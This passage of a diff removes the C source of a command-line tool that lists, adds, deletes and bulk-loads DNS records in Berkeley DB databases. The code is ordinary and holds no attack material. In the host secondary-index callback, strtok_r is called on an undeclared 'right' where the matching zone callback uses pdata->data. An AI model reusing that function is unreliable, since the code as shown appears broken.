- * the operation selected.  I.E. passing the key parameter makes no sense
- * for the add operation, and thus it isn't allowed.
- */
-
-#define checkInvalidParam(x, y, z)                   \
-	if (x != NULL) {                             \
-		fprintf(stderr,                      \
-			"\n%s "                      \
-			"may not be specified %s\n", \
-			y, z);                       \
-		quit(2);                             \
-	}
-
-/*%
- * checkInvalidOption is used to only allow parameters which make sense for
- * the operation selected - but checks boolean options.
- * I.E. passing the "b" bare_list parameter makes no sense for the add
- * operation, and thus it isn't allowed.
- * if w == x then output error message "flag", "message"
- */
-
-#define checkInvalidOption(w, x, y, z)               \
-	if (w == x) {                                \
-		fprintf(stderr,                      \
-			"\n%s "                      \
-			"may not be specified %s\n", \
-			y, z);                       \
-		quit(2);                             \
-	}
-
-/* Global Variables */
-
-int operation = 0; /*%< operation to perform. */
-/*% allow new lock files or DB to be created. */
-bool create_allowed = false;
-char *key = NULL; /*%< key to use in list & del operations */
-
-/*% dump DB in DLZBDB bulk format */
-bool list_everything = false;
-unsigned int key_val; /*%< key as unsigned int used in list & del operations */
-char *zone = NULL;    /*%< zone to use in list operations */
-char *host = NULL;    /*%< host to use in list operations */
-char *c_zone = NULL;  /*%< client zone to use in list operations */
-char *c_ip = NULL;    /*%< client IP to use in list operations */
-char *a_data = NULL;  /*%< data in add operation */
-char *bulk_file = NULL;		 /*%< bulk data file to load */
-char *db_envdir = NULL;		 /*%< BDB environment location  */
-char *db_file = NULL;		 /*%< BDB database file location. */
-bdb_instance_t db;		 /* BDB instance we are operating on */
-isc_lex_t *lexer = NULL;	 /*%< lexer for use to use in parsing input */
-isc_mem_t *lex_mctx = NULL;	 /*%< memory context for lexer */
-char lex_data_buf[max_data_len]; /*%< data array to use for lex_buffer below */
-isc_buffer_t lex_buffer;	 /*%< buffer for lexer during add operation */
-
-/*%
- * Displays usage message
- */
-
-static void
-show_usage(void) {
-	fprintf(stderr, "\n\n\
----Usage:---------------------------------------------------------------------\
-\n\n\
-   List data:\n\
-      dlzbdb -l [-k key] [-z zone] [-h host] [-c client_zone] [-i client_ip]\n\
-               BDB_environment BDB_database\n\n\
-   Delete data:\n\
-      dlzbdb -d [-k key] [-c client_zone] [-i client_ip]\n\
-               BDB_environment BDB_database\n\n\
-   Bulk load data from file:\n\
-      dlzbdb -f file_to_load BDB_environment BDB_database\n\n\
-   Bulk load data from stdin\n\
-      dlzbdb -s BDB_environment BDB_database\n\n\
-   Add data:\n\
-      dlzbdb -a \"dns data to be added\" BDB_environment BDB_database\n\n\
-   Export data:\n\
-      dlzbdb -e BDB_environment BDB_database\n\n\
-   Normally operations can only be performed on an existing database files.\n\
-   Use the -n flag with any operation to allow files to be created.\n\
-   Existing files will NOT be truncated by using the -n flag.\n\
-   The -n flag will allow a new database to be created, or allow new\n\
-   environment files to be created for an existing database.\n\n\
----Format for -f & -a options:------------------------------------------------\
-\n\n\
-db_type zone host dns_type ttl ip\n\
-db_type zone host dns_type ttl mx_priority mail_host\n\
-db_type zone host dns_type ttl nm_svr resp_psn serial refresh retry expire min\
-\n\
-db_type zone client_ip\n\n\
----Examples:------------------------------------------------------------------\
-\n\n\
-d mynm.com www A 10 127.0.0.1\n\
-d mynm.com @ MX 10 5 mail\n\
-d mynm.com @ SOA 10 ns1.mynm.com. root.mynm.com. 2 28800 7200 604800 86400\n\
-c mynm.com 127.0.0.1\n\
-c mynm.com 192.168.0.10\n\
-");
-	quit(1);
-}
-
-/*% BDB callback to create zone secondary index */
-
-int
-getzone(DB *dbp, const DBT *pkey, const DBT *pdata, DBT *skey) {
-	char *token, *last;
-
-	UNUSED(dbp);
-	UNUSED(pkey);
-
-	if ((token = strtok_r(pdata->data, " ", &last)) == NULL) {
-		return (BDBparseErr);
-	}
-
-	/* copy string for "zone" secondary index */
-	if ((skey->data = strdup(token)) == NULL) {
-		return (BDBparseErr);
-	}
-	/* set required values for BDB */
-	skey->size = strlen(skey->data);
-	skey->flags = DB_DBT_APPMALLOC;
-
-	return (0);
-}
-
-/*%
- * BDB callback to create host secondary index
- */
-
-int
-gethost(DB *dbp, const DBT *pkey, const DBT *pdata, DBT *skey) {
-	char *token, *last;
-
-	UNUSED(dbp);
-	UNUSED(pkey);
-
-	/* we don't care about first token. */
-	if ((token = strtok_r(right, " ", &last)) == NULL) {
-		return (BDBparseErr);
-	}
-
-	/* get "host" from data string */
-	if ((token = strtok_r(NULL, " ", &last)) == NULL) {
-		return (BDBparseErr);
-	}
-
-	/* copy string for "host" secondary index */
-	if ((skey->data = strdup(token)) == NULL) {
-		return (BDBparseErr);
-	}
-	/* set required values for BDB */
-	skey->size = strlen(skey->data);
-	skey->flags = DB_DBT_APPMALLOC;
-
-	return (0);
-}
-
-/*%
- * Performs BDB cleanup. Close each database that we opened.
- * Close environment.  Set each var to NULL so we know they
- * were closed and don't accidentally try to close them twice.
- */
-
-void
-bdb_cleanup(void) {
-	/* close cursors */
-	if (db.cursor4 != NULL) {
-		db.cursor4->c_close(db.cursor4);
-		db.cursor4 = NULL;
-	}
-
-	if (db.cursor3 != NULL) {
-		db.cursor3->c_close(db.cursor3);
-		db.cursor3 = NULL;
-	}
-
-	if (db.cursor2 != NULL) {
-		db.cursor2->c_close(db.cursor2);
-		db.cursor2 = NULL;
-	}
-
-	if (db.cursor != NULL) {
-		db.cursor->c_close(db.cursor);
-		db.cursor = NULL;
-	}
-
-	/* close databases */
-	if (db.data != NULL) {
-		db.data->close(db.data, 0);
-		db.data = NULL;
-	}
-	if (db.host != NULL) {
-		db.host->close(db.host, 0);
-		db.host = NULL;
-	}
-	if (db.zone != NULL) {
-		db.zone->close(db.zone, 0);
-		db.zone = NULL;
-	}
-	if (db.client != NULL) {
-		db.client->close(db.client, 0);
-		db.client = NULL;
-	}
-
-	/* close environment */
-	if (db.dbenv != NULL) {
-		db.dbenv->close(db.dbenv, 0);
-		db.dbenv = NULL;
-	}
-}
-
-/*% Initializes, sets flags and then opens Berkeley databases. */
-
-isc_result_t
-bdb_opendb(DBTYPE db_type, DB **db_out, const char *db_name, int flags) {
-	int result;
-	int createFlag = 0;
-
-	/* Initialize the database. */
-	if ((result = db_create(db_out, db.dbenv, 0)) != 0) {
-		fprintf(stderr,
-			"BDB could not initialize %s database. BDB error: %s",
-			db_name, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	/* set database flags. */
-	if ((result = (*db_out)->set_flags(*db_out, flags)) != 0) {
-		fprintf(stderr,
-			"BDB could not set flags for %s database. BDB error: "
-			"%s",
-			db_name, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	if (create_allowed) {
-		createFlag = DB_CREATE;
-	}
-	/* open the database. */
-	if ((result = (*db_out)->open(*db_out, NULL, db_file, db_name, db_type,
-				      createFlag, 0)) != 0)
-	{
-		fprintf(stderr,
-			"BDB could not open %s database in %s. BDB error: %s",
-			db_name, db_file, db_strerror(result));
-		return (ISC_R_FAILURE);
-	}
-
-	return (ISC_R_SUCCESS);
-}
-
-/*%
- * parses input and adds it to the BDB database
- * Lexer should be instantiated, and either a file or buffer opened for it.
- * The insert_data function is used by both the add, and bulk insert
- * operations
- */
-
-void
-put_data(bool dns_data, char *input_key, char *input_data) {
-	int bdbres;
-	DBT key, data;
-
-	/* make sure key & data are completely empty */
-	memset(&key, 0, sizeof(key));
-	memset(&data, 0, sizeof(data));
-
-	/* if client data, setup key for insertion */
-	if (!dns_data && input_key != NULL) {
-		key.data = input_key;
-		key.size = strlen(input_key);
-		key.flags = 0;
-	}
-	/* always setup data for insertion */
-	data.data = input_data;
-	data.size = strlen(input_data);
-	data.flags = 0;
-
-	/* execute insert against appropriate database. */
-	if (dns_data) {
-		bdbres = db.data->put(db.data, NULL, &key, &data, DB_APPEND);
-	} else {
-		bdbres = db.client->put(db.client, NULL, &key, &data, 0);
-	}
-
-	/* if something went wrong, log error and quit */
-	if (bdbres != 0) {
-		fprintf(stderr, "BDB could not insert data.  Error: %s",
-			db_strerror(bdbres));
-		quit(5);
-	}
-}
-
-void
-insert_data(void) {
-	unsigned int opt = ISC_LEXOPT_EOL |	/* Want end-of-line token. */
-			   ISC_LEXOPT_EOF |	/* Want end-of-file token. */
-			   ISC_LEXOPT_QSTRING | /* Recognize qstrings. */
-			   ISC_LEXOPT_QSTRINGMULTILINE; /* Allow multiline ""
-							 * strings */
-
-	isc_result_t result;
-	isc_token_t token; /* token from lexer */
-	bool loop = true;
-	bool have_czone = false;
-	char data_arr[max_data_len];
-	isc_buffer_t buf;
-	char data_arr2[max_data_len];
-	isc_buffer_t buf2;
-	char data_type = 'u'; /* u =unknown, b =bad token, d/D =DNS, c/C =client
-			       * IP */
-
-	/* Initialize buffers */
-	isc_buffer_init(&buf, &data_arr, max_data_len);
-	isc_buffer_init(&buf2, &data_arr2, max_data_len);
-
-	while (loop) {
-		result = isc_lex_gettoken(lexer, opt, &token);
-		if (result != ISC_R_SUCCESS) {
-			goto data_cleanup;
-		}
-
-		switch (token.type) {
-		case isc_tokentype_string:
-			if (data_type == 'u') {
-				/* store data_type */
-				strncpy(&data_type, token.value.as_pointer, 1);
-				/* verify data_type was specified correctly on
-				 * input */
-				if (strlen(token.value.as_pointer) > 1 ||
-				    (data_type != 'd' && data_type != 'D' &&
-				     data_type != 'c' && data_type != 'C'))
-				{
-					/* if not, set to 'b' so this line is
-					 * ignored. */
-					data_type = 'b';
-				}
-			} else if (data_type == 'c' || data_type == 'C') {
-				if (have_czone) {
-					isc_buffer_putstr(
-						&buf2, token.value.as_pointer);
-					/* add string terminator to buffer */
-					isc_buffer_putmem(&buf2, "\0", 1);
-				} else {
-					isc_buffer_putstr(
-						&buf, token.value.as_pointer);
-					/* add string terminator to buffer */
-					isc_buffer_putmem(&buf, "\0", 1);
-					have_czone = true;
-				}
-			} else {
-				isc_buffer_putstr(&buf, token.value.as_pointer);
-				isc_buffer_putstr(&buf, " ");
-			}
-			break;
-		case isc_tokentype_qstring:
-			isc_buffer_putstr(&buf, "\"");
-			isc_buffer_putstr(&buf, token.value.as_pointer);
-			isc_buffer_putstr(&buf, "\" ");
-			break;
-		case isc_tokentype_eol:
-		case isc_tokentype_eof:
-
-			if ((data_type != 'u' &&
-			     isc_buffer_usedlength(&buf) > 0) ||
-			    data_type == 'b') {
-				/* perform insert operation */
-				if (data_type == 'd' || data_type == 'D') {
-					/* add string terminator to buffer */
-					isc_buffer_putmem(&buf, "\0", 1);
-					put_data(true, NULL, (char *)&data_arr);
-				} else if (data_type == 'c' || data_type == 'C')
-				{
-					put_data(false, (char *)&data_arr,
-						 (char *)&data_arr2);
-				} else if (data_type == 'b') {
-					fprintf(stderr,
-						"Bad / unknown token "
-						"encountered on line %lu."
-						"  Skipping line.",
-						isc_lex_getsourceline(lexer) -
-							1);
-				} else {
-					fprintf(stderr,
-						"Bad / unknown db data type "
-						"encountered on "
-						"line %lu.  Skipping line\n",
-						isc_lex_getsourceline(lexer) -
-							1);
-				}
-			}
-
-			if (token.type == isc_tokentype_eof) {
-				loop = false;
-			}
-
-			/* reset buffer for next insert */
-			isc_buffer_clear(&buf);
-			isc_buffer_clear(&buf2);
-			have_czone = false;
-			data_type = 'u';
-			break;
-		default:
-			data_type = 'b';
-			break;
-		}
-	}
-
-	return;
-
-data_cleanup:
-	/* let user know we had problems */
-	fprintf(stderr,
-		"Unknown error processing tokens during \"add\" or "
-		"\"bulk\" operation.\nStoped processing on line %lu.",
-		isc_lex_getsourceline(lexer));
-}
-
-isc_result_t
-openBDB(void) {
-	int bdbres;
-	isc_result_t result;
-
-	/* create BDB environment  */
-	/* Basically BDB allocates and assigns memory to db->dbenv */
-	bdbres = db_env_create(&db.dbenv, 0);
-	if (bdbres != 0) {
-		fprintf(stderr,
-			"BDB environment could not be created. BDB error: %s",
-			db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto openBDB_cleanup;
-	}
-
-	/* open BDB environment */
-	if (create_allowed) {
-		/* allowed to create new files */
-		bdbres = db.dbenv->open(db.dbenv, db_envdir,
-					DB_INIT_CDB | DB_INIT_MPOOL | DB_CREATE,
-					0);
-	} else { /* not allowed to create new files. */
-		bdbres = db.dbenv->open(db.dbenv, db_envdir,
-					DB_INIT_CDB | DB_INIT_MPOOL, 0);
-	}
-	if (bdbres != 0) {
-		fprintf(stderr,
-			"BDB environment at '%s' could not be opened. BDB "
-			"error: %s",
-			db_envdir, db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto openBDB_cleanup;
-	}
-
-	/* open dlz_data database. */
-
-	result = bdb_opendb(DB_RECNO, &db.data, dlz_data, 0);
-	if (result != ISC_R_SUCCESS) {
-		goto openBDB_cleanup;
-	}
-
-	/* open dlz_host database */
-	result = bdb_opendb(DB_BTREE, &db.host, dlz_host, DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto openBDB_cleanup;
-	}
-
-	/* open dlz_zone database. */
-	result = bdb_opendb(DB_BTREE, &db.zone, dlz_zone, DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto openBDB_cleanup;
-	}
-
-	/* open dlz_client database. */
-	result = bdb_opendb(DB_BTREE, &db.client, dlz_client,
-			    DB_DUP | DB_DUPSORT);
-	if (result != ISC_R_SUCCESS) {
-		goto openBDB_cleanup;
-	}
-
-	/* associate the host secondary database with the primary database */
-	bdbres = db.data->associate(db.data, NULL, db.host, gethost, 0);
-	if (bdbres != 0) {
-		fprintf(stderr,
-			"BDB could not associate %s database with %s. BDB "
-			"error: %s",
-			dlz_host, dlz_data, db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto openBDB_cleanup;
-	}
-
-	/* associate the zone secondary database with the primary database */
-	bdbres = db.data->associate(db.data, NULL, db.zone, getzone, 0);
-	if (bdbres != 0) {
-		fprintf(stderr,
-			"BDB could not associate %s database with %s. BDB "
-			"error: %s",
-			dlz_zone, dlz_data, db_strerror(bdbres));
-		result = ISC_R_FAILURE;
-		goto openBDB_cleanup;
-	}
-
-	return (result);
-
-openBDB_cleanup:
-
-	bdb_cleanup();
-	return (result);
-}
-
-/*% Create & open lexer to parse input data */
-
-isc_result_t
-open_lexer(void) {
-	isc_result_t result;
-
-	/* check if we already opened the lexer, if we did, return success */
-	if (lexer != NULL) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/* allocate memory for lexer, and verify it was allocated */
-	isc_mem_create(&lex_mctx);
-
-	/* create lexer */
-	result = isc_lex_create(lex_mctx, 1500, &lexer);
-	if (result != ISC_R_SUCCESS) {
-		fprintf(stderr, "unexpected error creating lexer\n");
-	}
-
-	/* set allowed commenting style */
-	isc_lex_setcomments(lexer,
-			    ISC_LEXCOMMENT_C | /* Allow C comments */
-				    ISC_LEXCOMMENT_CPLUSPLUS | /* Allow
-								* C++
-								* comments
-								*/
-				    ISC_LEXCOMMENT_SHELL);     /* Allow
-								* shellcomments
-								*/
-
-	isc_buffer_init(&lex_buffer, &lex_data_buf, max_data_len);
-
-	return (result);
-}
-
-/*% Close the lexer, and cleanup memory */
-
-void
-close_lexer(void) {
-	/* If lexer is still open, close it & destroy it. */
-	if (lexer != NULL) {
-		isc_lex_close(lexer);
-		isc_lex_destroy(&lexer);
-	}
-
-	/* if lexer memory is still allocated, destroy it. */
-	if (lex_mctx != NULL) {
-		isc_mem_destroy(&lex_mctx);
-	}
-}
-
-/*% Perform add operation */
-
-void
-operation_add(void) {
-	/* check for any parameters that are not allowed during add */
-	checkInvalidParam(key, "k", "for add operation");
-	checkInvalidParam(zone, "z", "for add operation");
-	checkInvalidParam(host, "h", "for add operation");
-	checkInvalidParam(c_zone, "c", "for add operation");
-	checkInvalidParam(c_ip, "i", "for add operation");
-	checkInvalidOption(list_everything, true, "e", "for add operation");
-
-	/* if open lexer fails it already prints error messages. */
-	if (open_lexer() != ISC_R_SUCCESS) {
-		quit(4);
-	}
-
-	/* copy input data to buffer */
-	isc_buffer_putstr(&lex_buffer, a_data);
-
-	/* tell lexer to use buffer as input  */
-	if (isc_lex_openbuffer(lexer, &lex_buffer) != ISC_R_SUCCESS) {
-		fprintf(stderr, "unexpected error opening lexer buffer");
-		quit(4);
-	}
-
-	/*common logic for "add" & "bulk" operations are handled by insert_data
-	 */
-	insert_data();
-}
-
-/*% Perform bulk insert operation */
-
-void
-operation_bulk(void) {
-	/* check for any parameters that are not allowed during bulk */
-	checkInvalidParam(key, "k", "for bulk load operation");
-	checkInvalidParam(zone, "z", "for bulk load operation");
-	checkInvalidParam(host, "h", "for bulk load operation");
-	checkInvalidParam(c_zone, "c", "for bulk load operation");
-	checkInvalidParam(c_ip, "i", "for bulk load operation");
-	checkInvalidOption(list_everything, true, "e",
-			   "for bulk load operation");
-
-	/* if open lexer fails it already prints error messages. */
-	if (open_lexer() != ISC_R_SUCCESS) {
-		quit(4);
-	}
-
-	if (bulk_file == NULL) {
-		if (isc_lex_openstream(lexer, stdin) != ISC_R_SUCCESS) {
-			fprintf(stderr, "unexpected error opening stdin by "
-					"lexer.");
-			quit(4);
-		}
-	} else if (isc_lex_openfile(lexer, bulk_file) != ISC_R_SUCCESS) {
-		fprintf(stderr, "unexpected error opening %s by lexer.",
-			bulk_file);
-		quit(4);
-	}
-
-	/* common logic for "add" & "bulk" operations are handled by insert_data
-	 */
-	insert_data();
-}
-
-isc_result_t
-bulk_write(char type, DB *database, DBC *dbcursor, DBT *bdbkey, DBT *bdbdata) {
-	int bdbres;
-	db_recno_t recNum;
-	char *retkey = NULL, *retdata;
-	size_t retklen = 0, retdlen;
-	void *p;
-
-	/* use a 5MB buffer for the bulk dump */
-	int buffer_size = 5 * 1024 * 1024;
-
-	/* try to allocate a 5 MB buffer, if we fail write err msg, die. */
-	bdbdata->data = malloc(buffer_size);
-	if (bdbdata->data == NULL) {
-		fprintf(stderr, "Unable to allocate 5 MB buffer for bulk "
-				"database dump\n");
-		return (ISC_R_FAILURE);
-	}
-	bdbdata->ulen = buffer_size;
-	bdbdata->flags = DB_DBT_USERMEM;
-
-	/* get a cursor, make sure it worked. */
-	bdbres = database->cursor(database, NULL, &dbcursor, 0);
-	if (bdbres != 0) {
-		fprintf(stderr, "Unexpected error. BDB Error: %s\n",
-			db_strerror(bdbres));
-		free(bdbdata->data);
-		return (ISC_R_FAILURE);
-	}
-
-	/* loop and dump all data */
-	for (;;) {
-		/* loop through data until DB_NOTFOUND is returned */
-		bdbres = dbcursor->c_get(dbcursor, bdbkey, bdbdata,
-					 DB_MULTIPLE_KEY | DB_NEXT);
-		/* if not successful did we encounter DB_NOTFOUND, or */
-		/* have  a different problem. */
-		if (bdbres != 0) {
-			if (bdbres != DB_NOTFOUND) {
-				fprintf(stderr,
-					"Unexpected error. BDB Error: %s\n",
-					db_strerror(bdbres));
-				free(bdbdata->data);
-				return (ISC_R_FAILURE);
-			}
-			/* Hit DB_NOTFOUND which means end of data. */
-			break;
-		} /* end of if (bdbres !=0) */
-
-		for (DB_MULTIPLE_INIT(p, bdbdata);;) {
-			if (type == 'c') {
-				DB_MULTIPLE_KEY_NEXT(p, bdbdata, retkey,
-						     retklen, retdata, retdlen);
-			} else {
-				DB_MULTIPLE_RECNO_NEXT(p, bdbdata, recNum,
-						       retdata, retdlen);
-			}
-
-			if (p == NULL) {
-				break;
-			}
-			if (type == 'c') {
-				printf("c %.*s %.*s\n", (int)retklen, retkey,
-				       (int)retdlen, retdata);
-			} else {
-				printf("d %.*s\n", (int)retdlen, retdata);
-			}
-		} /* end of for (DB_MULTIPLE_INIT....) */
-	}	  /* end of for (;;) */
-
-	/* free the buffer we created earlier */
-	free(bdbdata->data);
-
-	return (ISC_R_SUCCESS);
-}
-
-/*%
- * Perform listOrDelete operation
- * if dlt == true, delete data
- * else list data
- */
-
-void
-operation_listOrDelete(bool dlt) {
-	int bdbres = 0;
-	DBC *curList[3];
-	DBT bdbkey, bdbdata;
-	db_recno_t recno;
-	int curIndex = 0;
-
-	/* verify that only allowed parameters were passed. */
-	if (dlt) {
-		checkInvalidParam(zone, "z", "for delete operation");
-		checkInvalidParam(host, "h", "for delete operation");
-		checkInvalidOption(list_everything, true, "e",
-				   "for delete operation");
-		checkInvalidOption(create_allowed, true, "n",
-				   "for delete operation");
-	} else if (key != NULL || zone != NULL || host != NULL) {
-		checkInvalidParam(c_zone, "c",
-				  "for list when k, z or h are specified");
-		checkInvalidParam(c_ip, "i",
-				  "for list when k, z, or h are specified");
-		checkInvalidOption(list_everything, true, "e",
-				   "for list when k, z, or h are specified");
-		checkInvalidOption(create_allowed, true, "n",
-				   "for list operation");
-	} else if (c_ip != NULL || c_zone != NULL) {
-		checkInvalidOption(list_everything, true, "e",
-				   "for list when c or i are specified");
-		checkInvalidOption(create_allowed, true, "n",
-				   "for list operation");
-	}
-
-	memset(&bdbkey, 0, sizeof(bdbkey));
-	memset(&bdbdata, 0, sizeof(bdbdata));
-
-	/* Dump database in "dlzbdb" bulk format */
-	if (list_everything) {
-		if (bulk_write('c', db.client, db.cursor, &bdbkey, &bdbdata) !=
-		    ISC_R_SUCCESS) {
-			return;
-		}
-		memset(&bdbkey, 0, sizeof(bdbkey));
-		memset(&bdbdata, 0, sizeof(bdbdata));
-		bulk_write('d', db.data, db.cursor2, &bdbkey, &bdbdata);
-		return;
-	} /* end if (list_everything) */
-
-	/* set NULL the 2nd and 3rd positions in curList. */
-	/* that way later when add cursors to the join list */
-	/* it is already null terminated. */
-	curList[1] = curList[2] = NULL;
-
-	if (key != NULL) {
-		/* make sure other parameters weren't */
-		checkInvalidParam(zone, "z", "when k is specified");
-		checkInvalidParam(host, "h", "when k is specified");
-
-		recno = key_val;
-		bdbkey.data = &recno;
-		bdbkey.size = sizeof(recno);
-
-		if (dlt) {
-			bdbres = db.data->del(db.data, NULL, &bdbkey, 0);
-		} else {
-			bdbdata.flags = DB_DBT_REALLOC;
-			bdbres = db.data->get(db.data, NULL, &bdbkey, &bdbdata,
-					      0);
-
-			if (bdbres == 0) {
-				printf("KEY | DATA\n");
-				printf("%lu | %.*s\n", *(u_long *)bdbkey.data,
-				       (int)bdbdata.size, (char *)bdbdata.data);
-			}
-		} /* closes else of if (dlt == true) */
-		if (bdbres == DB_NOTFOUND) {
-			printf("Key not found in database");
-		}
-	} /* closes if (key != NULL) */
-
-	/* if zone is passed */
-	if (zone != NULL) {
-		/* create a cursor and make sure it worked */
-		bdbres = db.zone->cursor(db.zone, NULL, &db.cursor2, 0);
-		if (bdbres != 0) {
-			fprintf(stderr, "Unexpected error. BDB Error: %s\n",
-				db_strerror(bdbres));
-			return;
-		}
-
-		bdbkey.data = zone;
-		bdbkey.size = strlen(zone);
-		bdbres = db.cursor2->c_get(db.cursor2, &bdbkey, &bdbdata,
-					   DB_SET);
-		if (bdbres != 0) {
-			if (bdbres != DB_NOTFOUND) {
-				fprintf(stderr,
-					"Unexpected error. BDB Error: %s\n",
-					db_strerror(bdbres));
-			} else {
-				printf("Zone not found in database");
-			}
-			return;
-		}
-
-		/* add cursor to cursor list for later use in join */
-		curList[curIndex++] = db.cursor2;
-	}
-
-	/* if host is passed */
-	if (host != NULL) {
-		/* create a cursor and make sure it worked. */
-		bdbres = db.host->cursor(db.host, NULL, &db.cursor3, 0);
-		if (bdbres != 0) {
-			fprintf(stderr, "Unexpected error. BDB Error: %s\n",
-				db_strerror(bdbres));
-			return;
-		}
-		bdbkey.data = host;
-		bdbkey.size = strlen(host);
-		bdbres = db.cursor3->c_get(db.cursor3, &bdbkey, &bdbdata,
-					   DB_SET);
-		if (bdbres != 0) {
-			if (bdbres != DB_NOTFOUND) {
-				fprintf(stderr,
-					"Unexpected error. BDB Error: %s\n",
-					db_strerror(bdbres));
-			} else {
-				printf("Host not found in database");
-			}
-			return;
-		}
-
-		/* add cursor to cursor list for later use in join */
-		curList[curIndex++] = db.cursor3;
-	}
-
-	if (zone != NULL || host != NULL) {
-		/* join any cursors */
-		bdbres = db.data->join(db.data, curList, &db.cursor4, 0);
-		if (bdbres != 0) {
-			fprintf(stderr, "Unexpected error. BDB Error: %s\n",
-				db_strerror(bdbres));
-			return;
-		}
-
-		memset(&bdbkey, 0, sizeof(bdbkey));
-		bdbkey.flags = DB_DBT_REALLOC;
-		memset(&bdbdata, 0, sizeof(bdbdata));
-		bdbdata.flags = DB_DBT_REALLOC;
-
-		/* print a header to explain the output */
-		printf("KEY | DATA\n");
-		/* loop and list all results. */
-		while (bdbres == 0) {
-			/* get data */
-			bdbres = db.cursor4->c_get(db.cursor4, &bdbkey,
-						   &bdbdata, 0);
-			/* verify call had no errors */
-			if (bdbres != 0) {
-				break;
-			}
-			printf("%lu | %.*s\n", *(u_long *)bdbkey.data,
-			       (int)bdbdata.size, (char *)bdbdata.data);
-		} /* closes while loop */
-	}
-
-	if (c_ip != NULL && c_zone == NULL) {
-		fprintf(stderr, "i may only be specified when c is also "
-				"specified\n");
-		quit(2);
-	}
-	/* if client_zone was passed */
-	if (c_zone != NULL) {
-		/* create a cursor and make sure it worked. */
-		if (dlt) {
-			/* open read-write cursor */
-			bdbres = db.client->cursor(db.client, NULL, &db.cursor,
-						   DB_WRITECURSOR);
-		} else {
-			/* open read only cursor */
-			bdbres = db.client->cursor(db.client, NULL, &db.cursor,
-						   0);
-			/* print a header to explain the output */
-			printf("CLIENT_ZONE | CLIENT_IP\n");
-		}
-
-		bdbkey.data = c_zone;
-		bdbkey.size = strlen(c_zone);
-
-		if (c_ip != NULL) {
-			bdbdata.data = c_ip;
-			bdbdata.size = strlen(c_ip);
-			bdbres = db.cursor->c_get(db.cursor, &bdbkey, &bdbdata,
-						  DB_GET_BOTH);
-			if (bdbres == DB_NOTFOUND) {
-				printf("Client zone & IP not found in "
-				       "database");
-			}
-		} else {
-			bdbdata.flags = DB_DBT_REALLOC;
-			bdbres = db.cursor->c_get(db.cursor, &bdbkey, &bdbdata,
-						  DB_SET);
-			if (bdbres == DB_NOTFOUND) {
-				printf("Client zone not found in database");
-			}
-		}
-
-		while (bdbres == 0) {
-			if (!dlt) {
-				printf("%.*s | %.*s\n", (int)bdbkey.size,
-				       (char *)bdbkey.data, (int)bdbdata.size,
-				       (char *)bdbdata.data);
-			} else {
-				/* delete record. */
-				bdbres = db.cursor->c_del(db.cursor, 0);
-				if (bdbres != 0) {
-					fprintf(stderr,
-						"Unexpected error. BDB Error: "
-						"%s\n",
-						db_strerror(bdbres));
-					break;
-				}
-			}
-			if (c_ip != NULL) {
-				break;
-			}
-			bdbres = db.cursor->c_get(db.cursor, &bdbkey, &bdbdata,
-						  DB_NEXT_DUP);
-			if (bdbres != 0) {
-				break;
-			}
-		} /* end while loop */
-	}
-
-	if (bdbres != 0 && bdbres != DB_NOTFOUND) {
-		fprintf(stderr,
-			"Unexpected error during list operation "
-			"BDB error: %s",
-			db_strerror(bdbres));
-	}
-
-	if (bdbkey.flags == DB_DBT_REALLOC && bdbkey.data != NULL) {
-		free(bdbkey.data);
-	}
-	if (bdbdata.flags == DB_DBT_REALLOC && bdbdata.data != NULL) {
-		free(bdbdata.data);
-	}
-}
-
-int
-main(int argc, char **argv) {
-	int ch;
-	char *endp;
-
-	/* there has to be at least 2 args, some operations require more */
-	if (argc < 2) {
-		show_usage();
-	}
-
-	/* use the ISC commandline parser to get all the program arguments */
-	while ((ch = isc_commandline_parse(argc, argv,
-					   "ldesna:f:k:z:h:c:i:")) != -1) {
-		switch (ch) {
-		case 'n':
-			create_allowed = true;
-			break;
-		case 'l':
-			checkOp(operation);
-			operation = list;
-			break;
-		case 'd':
-			checkOp(operation);
-			operation = dele;
-			break;
-		case 'a':
-			checkOp(operation);
-			operation = add;
-			a_data = isc_commandline_argument;
-			break;
-		case 'f':
-			checkOp(operation);
-			operation = bulk;
-			bulk_file = isc_commandline_argument;
-			break;
-		case 's':
-			checkOp(operation);
-			operation = bulk;
-			break;
-		case 'k':
-			checkParam(key, "k");
-			key = isc_commandline_argument;
-			key_val = strtoul(key, &endp, 10);
-			if (*endp != '\0' || key_val < 1) {
-				fprintf(stderr, "Error converting key to "
-						"integer");
-			}
-			break;
-		case 'z':
-			checkParam(zone, "z");
-			zone = isc_commandline_argument;
-			break;
-		case 'h':
-			checkParam(host, "h");
-			host = isc_commandline_argument;
-			break;
-		case 'c':
-			checkParam(c_zone, "c");
-			c_zone = isc_commandline_argument;
-			break;
-		case 'i':
-			checkParam(c_ip, "i");
-			c_ip = isc_commandline_argument;
-			break;
-		case 'e':
-			checkOp(operation);
-			operation = list;
-			list_everything = true;
-			break;
-		case '?':
-			show_usage();
-			break;
-		default:
-			/* should never reach this point */
-			fprintf(stderr, "unexpected error parsing command "
-					"arguments\n");
-			quit(1);
-			break;
-		}
-	}
-
-	argc -= isc_commandline_index;
-	argv += isc_commandline_index;
-
-	/* argc & argv have been modified, so now only "extra" parameters are */
-	/* left in argc & argv.  "Extra" parameters are any parameters that were
-	 */
-	/* not passed using a command line flag.  Exactly 2 args should be left.
-	 */
-	/* The first should be the BDB environment path, the second should be
-	 * the */
-	/* BDB database.  The BDB database path can be either relative to the */
-	/* BDB environment path, or absolute. */
-	if (argc < 2) {
-		fprintf(stderr, "Both a Berkeley DB environment and file "
-				"must be specified");
-		quit(2);
-	} else if (argc > 2) {
-		fprintf(stderr, "Too many parameters. Check command line for "
-				"errors.");
-		quit(2);
-	}
-
-	/* get db_file to operate on */
-	db_envdir = argv[0];
-	db_file = argv[1];
-
-	if (openBDB() != ISC_R_SUCCESS) {
-		/* openBDB already prints error messages, don't do it here. */
-		bdb_cleanup();
-		quit(3);
-	}
-
-	switch (operation) {
-	case list:
-		operation_listOrDelete(false);
-		break;
-	case dele:
-		operation_listOrDelete(true);
-		break;
-	case add:
-		operation_add();
-		break;
-	case bulk:
-		operation_bulk();
-		break;
-	default:
-		fprintf(stderr, "\nNo operation was selected. "
